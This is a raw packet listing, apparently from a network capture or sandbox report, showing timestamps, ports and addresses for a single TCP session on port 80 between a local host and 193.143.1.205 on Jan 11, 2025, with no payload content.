Jan 11, 2025 07:07:24.446716070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446722031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.446751118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446789980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.446794033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.447503090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447537899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447545052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.447565079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.447572947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447612047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.447627068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447664022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447700024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447700977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.447736025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447770119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447773933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.447805882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447840929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.447841883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.453922033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.458403111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.458452940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.458537102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.458569050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.458602905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.458606958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.467771053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.467818022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.467855930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.467890024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.467921019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.467921019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.467926979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.467973948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.491624117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.496056080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.498223066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.498245001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.498261929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.498279095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.498292923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.498322964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.511204958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.529213905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529287100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529324055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529335976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.529378891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529413939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529419899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.529448032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529484987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529488087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.529519081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529557943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.529558897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529592991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529628038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529635906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.529660940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529697895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529711008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.529731035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529772043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.529778957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.530253887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.559901953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.559937954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.559990883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560009956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560024977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560050011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560077906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560117006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560121059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560173988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560209036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560214996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560242891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560276031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560281038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560306072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560344934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560359001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560394049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560426950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560432911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560480118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560516119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560517073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560568094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560602903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560621977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560657024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560688972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560694933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560723066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560756922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560760975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560791969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560826063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560827971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560861111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560898066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.560913086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560950041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560981989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.560986996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561017990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561053991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561073065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561108112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561136961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561147928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561187029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561220884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561229944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561270952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561311960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561311960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561347008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561383009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561387062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561417103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561451912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561455011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561486006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561520100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561522961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561572075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561606884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561609983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561640024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561674118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561680079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561709881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561745882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561745882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561779976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561816931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561831951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561866045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561901093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561902046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.561934948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561969995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.561970949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.562004089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.562036991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.562038898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.563782930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.566970110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567001104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567051888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567053080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567087889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567091942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567140102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567174911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567178965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567209005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567243099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567245960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567303896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567343950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567361116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567394972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567429066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567430973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567462921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567497969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567502022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567531109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567565918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567568064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567601919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567637920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567686081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567719936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567756891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567774057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567806959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567842007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567867994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567874908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.567913055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.567970037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568005085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568038940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568049908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568072081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568108082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568108082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568142891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568181038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568350077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568384886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568419933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568422079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568470955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568505049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568507910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568537951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568572998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568574905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568609953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568645000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568645954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568679094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568712950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568723917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568747997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568783045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568790913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.568816900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.568851948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.571125984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.574963093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616051912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616128922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616166115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616179943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616202116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616245031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616261005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616313934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616349936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616353035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616384029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616417885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616420031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616452932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616486073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616488934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616518974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616550922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616553068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616586924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616621017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616622925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616655111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616688967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616693974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616724014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616756916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616761923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616791964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616827011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616827965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.616861105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616897106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.616904020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.646698952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.646760941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.646805048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.646814108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.646855116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.646869898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.646923065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.646965981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.646974087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647026062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647054911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647062063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647099972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647135019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647150993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647186041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647226095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647226095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647278070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647325993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647334099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647387028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647430897 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647437096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647466898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647505999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647516012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647552013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647584915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647593021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647619009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647654057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647660971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647689104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647726059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647738934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647773027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647816896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647824049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647857904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647891998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647896051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647945881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.647984982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.647996902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648046970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648080111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648083925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648116112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648147106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648153067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648200035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648232937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648237944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648293018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648329973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648341894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648375988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648407936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648411036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648442030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648499966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648513079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648547888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648580074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648583889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648614883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648648024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648653030 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648680925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648713112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648716927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648749113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648787022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648797989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648833036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648869038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648883104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648916006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648947954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.648956060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.648983955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649017096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649020910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 07:07:24.649051905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 07:07:24.649085999 CET	80	49704	193.143.1.205	192.168.2.5
